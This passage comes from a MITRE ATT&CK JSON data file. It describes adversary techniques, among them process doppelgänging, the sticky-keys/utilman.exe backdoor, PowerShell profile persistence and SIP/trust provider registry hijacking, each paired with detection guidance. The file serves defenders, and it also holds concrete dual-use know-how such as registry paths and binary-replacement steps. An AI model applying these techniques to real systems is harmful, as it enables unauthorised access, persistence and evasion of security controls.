veiled execution of malicious code that may evade defenses and detection. Process doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>, and <code>SetThreadContext</code>. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelg\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. ",
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            "created": "2017-05-31T21:30:27.342Z",
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                    "url": "https://attack.mitre.org/techniques/T1016",
                    "external_id": "T1016"
                },
                {
                    "source_name": "Mandiant APT41 Global Intrusion ",
                    "description": "Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25). This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved February 17, 2022.",
                    "url": "https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits"
                },
                {
                    "source_name": "Trellix Rnasomhouse 2024",
                    "description": "Pham Duy Phuc, Max Kersten, No\u00ebl Keijzer, and Micha\u00ebl Schrijver. (2024, February 14). RansomHouse am See. Retrieved March 26, 2025.",
                    "url": "https://www.trellix.com/en-au/blogs/research/ransomhouse-am-see/"
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
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            "modified": "2025-04-15T19:58:40.773Z",
            "name": "System Network Configuration Discovery",
            "description": "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. <code>show ip route</code>, <code>show ip interface</code>).(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion ) On ESXi, adversaries may leverage esxcli to gather network configuration information. For example, the command `esxcli network nic list` will retrieve the MAC address, while `esxcli network ip interface ipv4 get` will retrieve the local IPv4 address.(Citation: Trellix Rnasomhouse 2024)\n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. ",
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            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, {{LinkById|T1059.008} commands may also be used to gather system and network information with built-in features native to the network device platform.  Monitor CLI activity for unexpected or unauthorized use  commands being run by non-standard users from non-standard locations.  Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Windows",
                "Network Devices",
                "ESXi"
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            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Script: Script Execution",
                "Process: Process Creation",
                "Process: OS API Execution"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4",
            "created": "2020-06-16T17:23:06.508Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1578/003",
                    "external_id": "T1578.003"
                },
                {
                    "source_name": "AWS CloudTrail Search",
                    "description": "Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.",
                    "url": "https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/"
                },
                {
                    "source_name": "Cloud Audit Logs",
                    "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020.",
                    "url": "https://cloud.google.com/logging/docs/audit#admin-activity"
                },
                {
                    "source_name": "Mandiant M-Trends 2020",
                    "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
                },
                {
                    "source_name": "Azure Activity Logs",
                    "description": "Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.",
                    "url": "https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs"
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            "description": "An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence.  Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.\n\nAn adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "id": "attack-pattern--70910fbd-58dc-4c1c-8c48-814d11fcd022",
            "created": "2022-08-09T13:01:43.314Z",
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                    "url": "https://attack.mitre.org/techniques/T1593/003",
                    "external_id": "T1593.003"
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                    "source_name": "GitHub Cloud Service Credentials",
                    "description": "Runa A. Sandvik. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved August 9, 2022.",
                    "url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/"
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            "name": "Code Repositories",
            "description": "Adversaries may search public code repositories for information about victims that can be used during targeting. Victims may store code in repositories on various third-party websites such as GitHub, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.  \n\nAdversaries may search various public code repositories for various information about a victim. Public code repositories can often be a source of various general information about victims, such as commonly used programming languages and libraries as well as the names of employees. Adversaries may also identify more sensitive data, including accidentally leaked credentials or API keys.(Citation: GitHub Cloud Service Credentials) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)). \n\n**Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1213/003), which focuses on [Collection](https://attack.mitre.org/tactics/TA0009) from private and internally hosted code repositories. ",
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            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. \n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
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            "id": "attack-pattern--70d81154-b187-45f9-8ec5-295d01255979",
            "created": "2020-03-13T11:12:18.558Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1574/005",
                    "external_id": "T1574.005"
                },
                {
                    "source_name": "mozilla_sec_adv_2012",
                    "description": "Robert Kugler. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.",
                    "url": "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/"
                },
                {
                    "source_name": "Executable Installers are Vulnerable",
                    "description": "Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014.",
                    "url": "https://seclists.org/fulldisclosure/2015/Dec/34"
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            "modified": "2025-04-15T19:58:41.123Z",
            "name": "Executable Installer File Permissions Weakness",
            "description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)  (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.",
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                    "kill_chain_name": "mitre-attack",
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            "x_mitre_contributors": [
                "Travis Smith, Tripwire",
                "Stefan Kanthak"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "id": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5",
            "created": "2020-01-24T14:32:40.315Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1546/008",
                    "external_id": "T1546.008"
                },
                {
                    "source_name": "Narrator Accessibility Abuse",
                    "description": "Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub' URI for Fileless Persistence. Retrieved April 28, 2020.",
                    "url": "https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html"
                },
                {
                    "source_name": "FireEye Hikit Rootkit",
                    "description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20190216180458/https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html"
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                {
                    "source_name": "DEFCON2016 Sticky Keys",
                    "description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.",
                    "url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom"
                },
                {
                    "source_name": "Tilbury 2014",
                    "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20200730053039/https://www.crowdstrike.com/blog/registry-analysis-with-crowdresponse/"
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            "modified": "2025-04-15T19:58:41.211Z",
            "name": "Accessibility Features",
            "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n* On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n* Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code>\n* Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n* Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n* App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code>",
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options</code>.",
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            "id": "attack-pattern--718cb208-6446-4572-a2f0-9c799c60091e",
            "created": "2024-09-25T13:44:35.412Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1496/002",
                    "external_id": "T1496.002"
                },
                {
                    "source_name": "Sysdig Proxyjacking",
                    "description": "Crystal Morin. (2023, April 4). Proxyjacking has Entered the Chat. Retrieved July 6, 2023.",
                    "url": "https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/"
                },
                {
                    "source_name": "Unit 42 Leaked Environment Variables 2024",
                    "description": "Margaret Kelley, Sean Johnstone, William Gamazo, and Nathaniel Quist. (2024, August 15). Leaked Environment Variables Allow Large-Scale Extortion Operation in Cloud Environments. Retrieved September 25, 2024.",
                    "url": "https://unit42.paloaltonetworks.com/large-scale-cloud-extortion-operation/"
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                {
                    "source_name": "GoBotKR",
                    "description": "Zuzana Hromcov\u00e1. (2019, July 8). Malicious campaign targets South Korean users with backdoor\u2011laced torrents. Retrieved March 31, 2022.",
                    "url": "https://www.welivesecurity.com/2019/07/08/south-korean-users-backdoor-torrents/"
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            "description": "Adversaries may leverage the network bandwidth resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \n\nAdversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR) Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services.(Citation: Sysdig Proxyjacking) Finally, they may engage in internet-wide scanning in order to identify additional targets for compromise.(Citation: Unit 42 Leaked Environment Variables 2024)\n\nIn addition to incurring potential financial costs or availability disruptions, this technique may cause reputational damage if a victim\u2019s bandwidth is used for illegal activities.(Citation: Sysdig Proxyjacking)",
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                {
                    "source_name": "Microsoft About Profiles",
                    "description": "Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019.",
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                {
                    "source_name": "ESET Turla PowerShell May 2019",
                    "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.",
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                {
                    "source_name": "Wits End and Shady PowerShell Profiles",
                    "description": "DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019.",
                    "url": "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html"
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                    "source_name": "Malware Archaeology PowerShell Cheat Sheet",
                    "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
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            "modified": "2025-04-25T15:15:43.586Z",
            "name": "PowerShell Profile",
            "description": "Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Allen DeRyke, ICE"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Locations where <code>profile.ps1</code> can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:\n\n* <code>$PsHome\\Profile.ps1</code>\n* <code>$PsHome\\Microsoft.{HostProgram}_profile.ps1</code>\n* <code>$Home\\My Documents\\PowerShell\\Profile.ps1</code>\n* <code>$Home\\My Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1</code>\n\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1198",
                    "external_id": "T1198"
                },
                {
                    "source_name": "Microsoft Authenticode",
                    "description": "Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.",
                    "url": "https://msdn.microsoft.com/library/ms537359.aspx"
                },
                {
                    "source_name": "Microsoft WinVerifyTrust",
                    "description": "Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx"
                },
                {
                    "source_name": "SpectorOps Subverting Trust Sept 2017",
                    "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.",
                    "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"
                },
                {
                    "source_name": "EduardosBlog SIPs July 2008",
                    "description": "Navarro, E. (2008, July 11). SIP\u2019s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.",
                    "url": "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/"
                },
                {
                    "source_name": "Microsoft Catalog Files and Signatures April 2017",
                    "description": "Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.",
                    "url": "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files"
                },
                {
                    "source_name": "GitHub SIP POC Sept 2017",
                    "description": "Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.",
                    "url": "https://github.com/mattifestation/PoCSubjectInterfacePackage"
                },
                {
                    "source_name": "Entrust Enable CAPI2 Aug 2017",
                    "description": "Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018.",
                    "url": "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165"
                },
                {
                    "source_name": "Microsoft Registry Auditing Aug 2016",
                    "description": "Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)"
                },
                {
                    "source_name": "Microsoft Audit Registry July 2012",
                    "description": "Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:43.741Z",
            "name": "SIP and Trust Provider Hijacking",
            "description": "In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}</code> that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}</code> that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Matt Graeber, @mattifestation, SpecterOps"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1117). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \u201cHide Microsoft Entries\u201d and \u201cHide Windows Entries\u201d are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08",
            "created": "2017-05-31T21:31:06.988Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1087",
                    "external_id": "T1087"
                },
                {
                    "source_name": "AWS List Users",
                    "description": "Amazon. (n.d.). List Users. Retrieved August 11, 2020.",
                    "url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html"
                },
                {
                    "source_name": "Google Cloud - IAM Servie Accounts List API",
                    "description": "Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020.",
                    "url": "https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list"
                },
                {
                    "source_name": "Elastic - Koadiac Detection with EQL",
                    "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.",
                    "url": "https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:41.600Z",
            "name": "Account Discovery",
